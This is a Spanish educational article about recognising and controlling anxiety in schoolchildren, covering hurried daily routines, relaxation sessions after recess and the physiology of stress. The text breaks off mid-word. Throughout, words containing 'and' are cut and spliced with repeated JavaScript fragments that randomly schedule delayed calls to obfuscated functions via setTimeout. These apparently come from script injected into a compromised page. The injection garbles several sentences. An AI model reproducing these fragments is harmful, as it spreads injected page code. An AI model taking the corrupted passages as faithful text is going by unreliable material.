IDENTIFICAR Y CONTROLAR LA ANSIEDAD

Autora: Alicia García Sánchez    


Todos sabemos que las tensiones, el estrés y la ansiedad son perjudiciales en nuestra sociedad tanto en los adultos como en niños/as. En nuestra cultura, parecemos inmersos en una carrera contrarreloj, en la que pasamos de una actividad a otra sin tiempo a descansar. Inmerso en este proceso los padres van arrastrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando a sus hijos en ese ritmo acelerado en el que no existen las pausas. Es frecuente oír a los padres expresiones como: “date prisa, que no llegamos a…”, “corre, que ahora toca…”. Muchos niños, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando terminan su jornada escolar, pasan por varias actividades, hacen sus tareas y quizá les queda un rato para jugar.

A esto se une la ansiedad propia que deviene de las relaciones interpersonales, el ambiente, etc. Y si la ansiedad es muy intensa, puede provocar una pérdida del control de la conducta. Uno de los métodos que pueden ayudarnos son las técnicas de relajación. Sin duda es importante crear momentos de relajación en la escuela que favorezcan la calma, la reflexión, la concentración, la escucha y el bienestar personal. Uno de los mejores momentos es el tiempo inmediatamente después del recreo porque los niños llegan al aula excitados, aún inmersos en las vivencias de los juegos, las relaciones y los conflictos que han sucedido en el patio. Por lo que una sesión de relajación podría ayudar a restaurar la calma y preparar a los niños para el trabajo.

 

  1. ¿EN QUÉ CONSISTE LA ANSIEDAD?

Es un estado que sin ser patológico al principio, acaba siéndolo, debido a la suma de tensiones y sobrecargas musculares. El cuerpo se va volviendo cada vez más sensible a estímulos menores que aún careciendo en condiciones normales de capacidad de alterar la respuesta metabólica acaban generandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando una respuesta excesiva. Un simple timbre puede hacer saltar a una persona de su asiento, o acelerar sus pulsaciones, repetido hasta la saciedad cualquier estímulo externo parece ser capaz de desencadenar un estallido, que se traducirá en un aumento del ritmo cardíaco, aceleración de la respiración, elevación de la presión arterial, vertido de lípidos al torrente sanguíneo, y muchas otras consecuencias.

Cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando se mantienen elevados niveles de estrés, durante un período grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande de tiempo, comienzan a aparecer comportamientos inadecuados, uno de ellos es la ansiedad.

Ahora bien en este último apartado aparece la palabra estrés que es un desencadenante de la ansiedad, por lo tanto EL ESTRÉS es: Tensión provocada por situaciones agobiantes que originan reacciones psicosomáticas o trastornos psicológicos a veces graves.

Los principios químicos que están presentes en el estrés como la adrenalina, aparecen en situaciones asociadas a excitación, en el deporte, las competiciones,… Solo cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el nivel de estas sustancias asciende por encima de cierto umbral (variable de una persona a otra), comienza a afectar a nuestro bienestar. Y es cu